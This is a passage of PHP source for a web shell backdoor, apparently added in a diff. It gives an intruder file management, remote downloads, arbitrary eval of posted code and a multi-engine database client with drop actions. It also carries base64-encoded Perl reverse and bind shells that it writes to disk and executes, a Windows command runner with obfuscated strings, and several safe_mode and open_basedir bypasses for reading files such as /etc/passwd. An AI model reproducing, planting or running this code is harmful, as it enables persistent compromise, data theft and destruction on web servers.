face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"> +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td> +<td width="750"><font face="Tahoma" style="font-size: 10pt"> +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit; +}} +if($_POST['adlr'] && $_POST['adsr']){ +$url = $_POST['adlr']; +$newfname = $_POST['adsr'] . basename($url); +$file = fopen ($url, "rb"); +if ($file) { + $newf = fopen ($newfname, "wb"); + if ($newf) + while(!feof($file)) { + fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 ); + } + alert("File Downloaded Success"); +}else{alert("Can Not Open File");} +if ($file) { + fclose($file); +} +if ($newf) { + fclose($newf); +} +} +if($_GET['do']=="down" and $_GET['type']=='file'){ +download($_GET['address'],$_GET['filename']);} +if($_GET['do']=="down" and $_GET['type']=='dir'){ +class zipfile +{ +var $datasec = array(); +var $ctrl_dir = array(); +var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; +var $old_offset = 0; +function add_dir($name) +{ +$name = str_replace("\\", "/", $name); +$fr = "\x50\x4b\x03\x04"; +$fr .= "\x0a\x00"; +$fr .= "\x00\x00"; +$fr .= "\x00\x00"; +$fr .= "\x00\x00\x00\x00"; +$fr .= pack("V",0); +$fr .= pack("V",0); +$fr .= pack("V",0); +$fr .= pack("v", strlen($name) ); +$fr .= pack("v", 0 ); +$fr .= $name; +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$this -> datasec[] = $fr; +$new_offset = strlen(implode("", $this->datasec)); +$cdrec = "\x50\x4b\x01\x02"; +$cdrec .="\x00\x00"; +$cdrec .="\x0a\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x00\x00\x00\x00"; +$cdrec .= pack("V",0); +$cdrec .= pack("V",0); +$cdrec .= pack("V",0); +$cdrec .= pack("v", strlen($name) ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$ext = "\x00\x00\x10\x00"; +$ext = "\xff\xff\xff\xff"; +$cdrec .= pack("V", 16 ); +$cdrec .= pack("V", $this -> old_offset ); +$this -> old_offset = $new_offset; +$cdrec .= $name; +$this -> ctrl_dir[] = $cdrec; +} +function add_file($data, $name) +{ +$name = str_replace("\\", "/", $name); +$fr = "\x50\x4b\x03\x04"; +$fr .= "\x14\x00"; +$fr .= "\x00\x00"; +$fr .= "\x08\x00"; +$fr .= "\x00\x00\x00\x00"; +$unc_len = strlen($data); +$crc = crc32($data); +$zdata = gzcompress($data); +$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); +$c_len = strlen($zdata); +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$fr .= pack("v", strlen($name) ); +$fr .= pack("v", 0 ); +$fr .= $name; +$fr .= $zdata; +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$this -> datasec[] = $fr; +$new_offset = strlen(implode("", $this->datasec)); +$cdrec = "\x50\x4b\x01\x02"; +$cdrec .="\x00\x00"; +$cdrec .="\x14\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x08\x00"; +$cdrec .="\x00\x00\x00\x00"; +$cdrec .= pack("V",$crc); +$cdrec .= pack("V",$c_len); +$cdrec .= pack("V",$unc_len); +$cdrec .= pack("v", strlen($name) ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("V", 32 ); +$cdrec .= pack("V", $this -> old_offset ); +$this -> old_offset = $new_offset; +$cdrec .= $name; +$this -> ctrl_dir[] = $cdrec; +} +function file() { +$data = implode("", $this -> datasec); +$ctrldir = implode("", $this -> ctrl_dir); +return +$data. +$ctrldir. +$this -> eof_ctrl_dir. +pack("v", sizeof($this -> ctrl_dir)). +pack("v", sizeof($this -> ctrl_dir)). +pack("V", strlen($ctrldir)). +pack("V", strlen($data)). +"\x00\x00"; +} +} +$dlfolder=$_GET['address'].$slash.$_GET['dirname'].$slash; +$zipfile = new zipfile(); +function get_files_from_folder($directory, $put_into) { +global $zipfile; +if ($handle = opendir($directory)) { +while (false !== ($file = readdir($handle))) { +if (is_file($directory.$file)) { +$fileContents = file_get_contents($directory.$file); +$zipfile->add_file($fileContents, $put_into.$file); +} elseif ($file != '.' and $file != '..' and is_dir($directory.$file)) { +$zipfile->add_dir($put_into.$file.'/'); +get_files_from_folder($directory.$file.'/', $put_into.$file.'/'); +} +} +} +closedir($handle); +} +$datedl=date("y-m-d"); +get_files_from_folder($dlfolder,''); +header("Content-Disposition: attachment; filename=" . $_GET['dirname']."-".$datedl.".zip"); +header("Content-Type: application/download"); +header("Content-Length: " . strlen($zipfile -> file())); +flush(); +echo $zipfile -> file(); +$filename = $_GET['dirname']."-".$datedl.".zip"; +$fd = fopen ($filename, "wb"); +$out = fwrite ($fd, $zipfile -> file()); +fclose ($fd); +} +if ($_REQUEST['cdirname']){ +if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}} +function bcn($ipbc,$pbc){ +$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3 +NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb +MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw +dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n +IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo +YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN +LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0 +KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll +KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog +IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4 +ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow=="; +$opbc=fopen("bcc.pl","w"); +fwrite($opbc,base64_decode($bcperl)); +fclose($opbc); +system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} +function wbp($wb){ +$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj +cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j +a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu +ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs +IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl +IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO +VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT +VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g"; +$opwb=fopen("wbp.pl","w"); +fwrite($opwb,base64_decode($wbp)); +fclose($opwb); +echo getcwd(); +system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} +function lbp($wb){ +$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv +YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg +U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF +VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO +QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw +dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7 +b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o +Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g"; +$oplb=fopen("lbp.pl","w"); +fwrite($oplb,base64_decode($lbp)); +fclose($oplb); +system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} + +if($_REQUEST['portbw']){ +wbp($_REQUEST['portbw']); + +}if($_REQUEST['portbl']){ +lbp($_REQUEST['portbl']); +} +if($_REQUEST['ipcb'] && $_REQUEST['portbc']){ +bcn($_REQUEST['ipcb'],$_REQUEST['portbc']); + +} + +if($_REQUEST['do']=="bc"){ +echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit; + +} +function copyf($file1,$file2,$filename){ +global $slash; +$fpc = fopen($file1, "rb"); +$source = ''; +while (!feof($fpc)) { +$source .= fread($fpc, 8192); +} +fclose($fpc); +$opt = fopen($file2.$slash.$filename, "w"); +fwrite($opt, $source); +fclose($opt); +} +if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){ +if(is_writable($_REQUEST['cpyto'])){ +echo $_REQUEST['address']; +copyf($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto'],$_REQUEST['copyname']); +}else{alert("Permission Denied !");}} +if($_REQUEST['cfilename']){ + +echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c size=50><br><input type=submit value=" Create "></form>'.$end;exit; +} + +if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){ +if($ofile4c=fopen($_REQUEST['nf4c'],"w")){ +fwrite($ofile4c,$_REQUEST['nf4cs']); +fclose($ofile4c); +alert("File Saved !");}else{alert("Permission Denied !");}} + +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR']; + +} + +if (isset ($_GET[select_db])){ + $getdb=$_GET[select_db]; + $_SESSION[db]=$getdb; + $query="SHOW TABLES"; + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); +} +elseif (isset ($_GET[select_tbl])){ + $tbl=$_GET[select_tbl]; + $_SESSION[tbl]=$tbl; + $query="SELECT * FROM `$tbl`"; + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); +} +elseif (isset ($_GET[drop_db])){ + $getdb=$_GET[drop_db]; + $_SESSION[db]=$getdb; + $query="DROP DATABASE `$getdb`"; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES'); +} +elseif (isset ($_GET[drop_tbl])){ + $getbl=$_GET[drop_tbl]; + $query="DROP TABLE `$getbl`"; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES'); +} +elseif (isset ($_GET[drop_row])){ + $getrow=$_GET[drop_row]; + $getclm=$_GET[clm]; + $query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'"; + $tbl=$_SESSION[tbl]; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`"); +} +else + $res=querY($type,$server,$user,$pass,$db,$query); + +if($res){ +$res=htmlspecialchars($res); +$row=array (); +$title=explode('[+][+][+]',$res); +$trow=explode('[-][-][-]',$title[1]); +$row=explode('|+|+|+|+|+|',$title[0]); +$data=array(); +$field=$trow[count($trow)-2]; +if (strstr($trow[0],'Database')!='') + $obj='db'; +elseif (substr($trow[0],0,6)=='Tables') + $obj='tbl'; +else + $obj='row'; +$i=0; +foreach ($row as $a){ +if($a!='') +$data[$i++]=explode('|-|-|-|-|-|',$a); +} + +echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>"; +foreach ($trow as $ti) +echo "<td bgcolor='F2F2F2'>$ti</td>"; +echo "</tr>"; +$j=0; +while ($data[$j]){ + echo "<tr>"; + foreach ($data[$j++] as $dr){ + echo "<td>"; + if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>"; + echo $dr; + if($obj!='row') echo "</a>"; + echo "</td>"; + } + echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr"; + if($obj=='row') + echo "&clm=$field"; + echo "'>Drop</a></td></tr>"; +} +echo "</table><br>"; + +} + + + + + +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='MySQL')echo 'selected'; +echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='MSSQL')echo 'selected'; +echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' "; +if ($_REQUEST['typE']=='Oracle')echo 'selected'; +echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='PostgreSQL')echo 'selected'; +echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='DB2')echo 'selected'; +echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; +echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='"; +if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; +echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123'; +echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); +echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>"; +if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; +echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>"; +} + + +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +if ($result!=1){ +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mysql_num_fields($result);$i++) +$res.=mysql_field_name($result,$i).'[-][-][-]'; +} +mysql_close($link); +return $res; +} +break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; +$link=mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mssql_select_db($db,$link); +$result=mssql_query($query,$link); +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mssql_num_fields($result);$i++) +$res.=mssql_field_name($result,$i).'[-][-][-]'; +mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=ocilogon($user,$pass,$db); +if($link){ +$stm=ociparse($link,$query); +ociexecute($stm,OCI_DEFAULT); +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=oci_field_name($stm,$i).'[-][-][-]'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=pg_query($link,$query); +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<pg_num_fields($result);$i++) +$res.=pg_field_name($result,$i).'[-][-][-]'; +pg_close($link); +return $res; +} +break; +case 'DB2': +if(!function_exists('db2_connect'))return 0; +$link=db2_connect($db,$user,$pass); +if($link){ +$result=db2_exec($link,$query); +while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<db2_num_fields($result);$i++) +$res.=db2_field_name($result,$i).'[-][-][-]'; +db2_close($link); +return $res; +} +break; +} +return 0; +} +function bywsym($file){ +if(!function_exists('symlink')){echo "Function Symlink Not Exist";} + +if(!is_writable(".")) + die("not writable directory"); +$level=0; +for($as=0;$as<$fakedep;$as++){ + if(!file_exists($fakedir)) + mkdir($fakedir); + chdir($fakedir); +} +while(1<$as--) chdir(".."); +$hardstyle = explode("/", $file); +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $as++; +}} +$as++; +while($as--) + chdir(".."); +@rmdir("fakesymlink"); +@unlink("fakesymlink"); +@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); +while(1) + if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; + else $num++; +@unlink("fakesymlink"); +mkdir("fakesymlink"); +} +function bypcu($file){ +$level=0; + +if(!file_exists("file:")) + mkdir("file:"); +chdir("file:"); +$level++; + +$hardstyle = explode("/", $file); + +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $level++; + } +} + +while($level--) chdir(".."); + +$ch = curl_init(); + +curl_setopt($ch, CURLOPT_URL, "file:file:///".$file); + +echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">'; + +if(FALSE==curl_exec($ch)) + die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.'); + +echo ' </textarea> </FONT>'; + +curl_close($ch); +} +if ($_REQUEST['bypcu']){ +bypcu($_REQUEST['bypcu']); +} +if($_REQUEST['do']=="bypasscmd"){ +if($_POST['bycw']){ +echo $_POST['bycw']; +$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll'); + $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw'].""); + $stdout = $exec->StdOut(); + $stcom = $stdout->ReadAll();} + +echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;; +} +if($_REQUEST['do']=="bypassdir"){ +if($_POST['byoc']){ +if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){ +$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder"; +}else{$bopens="Can Not Bypass This";} +} +if($_POST['byfc']){ +curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__); +$debfc=curl_exec($ch); +} +if($_POST['byetc']){ +for($bye=0;$bye<40000;$bye++){ +$sbep =$sbep. posix_getpwuid($bye); +}} +if($_POST['byfc9']){ +echo "not sucsfull"; +} +if($_REQUEST['bysyml']){ +$file=$_REQUEST['bysyml']; +bywsym($file); +} +echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;; + + + + +} +function printdrive(){ +global $slash; +foreach (range("A","Z") as $tempdrive) { +if (is_dir($tempdrive.":".$slash)){ +$adri=$tempdrive.":".$slash; +$drivea=$drivea.'<a href="?address='.$adri.'"><font size=1>'.$tempdrive.':'.$slash.' </a></font>'; +} +} +return $drivea; +} +if($_POST['nameren'] && $_POST['addressren']){ +if(is_writable($_REQUEST['addressren'])){ + +rename($_POST['addressren'],$_POST['nameren']);alert("Rename Successful !"); +}else{alert("Permission Denied !");} +} +if($_GET['do']=="delete"){ + +if ($_GET['type']=="dir"){ +if(is_writable($_REQUEST['address'])){ +$dir=$_GET['address'].$_GET['filename']; +deleteDirectory($dir); +alert("Deleted Successful !"); +}else{alert("Permission Denied !");} +}elseif($_GET['type']=="file"){ +if(is_writable($_GET['address'].$_GET['filename'])){ +unlink($_GET['address'].$_GET['filename']);alert("Deleted Successful !"); +}else{alert("Permission Denied !");} +} +} +if($_POST['fedit'] && $_POST['namefe']){ +if(is_writable($_REQUEST['address'])){ + + +$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w"); +fwrite($opensave,html_entity_decode($_POST['fedit'])); +fclose($opensave);alert("File Saved Successful !"); +}else{alert("Permission Denied !");} +} +if ($_POST['evalsource']){ + +eval($_POST['evalsource']); +} +if($_GET['do']=="eval"){ +echo $head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value=" eXecute "></form></p>'.$end;exit; +} +if($_GET['do']=="info"){ + +if(ini_get('register_globals')){ +$registerg="Enable"; +}else{ +$registerg="disable"; +} +if(extension_loaded('curl')){ +$curls="Enable"; +}else{ +$curls="disable"; +} +if(@function_exists('mysql_connect')){ +$db_on = "Mysql : On"; +}; +if(@function_exists('mssql_connect')){ +$db_on = "Mssql : On"; +}; +if(@function_exists('pg_connect')){ +$db_on = "PostgreSQL : On"; +};if(@function_exists('ocilogon')){ +$db_on = "Oracle : On"; +}; + 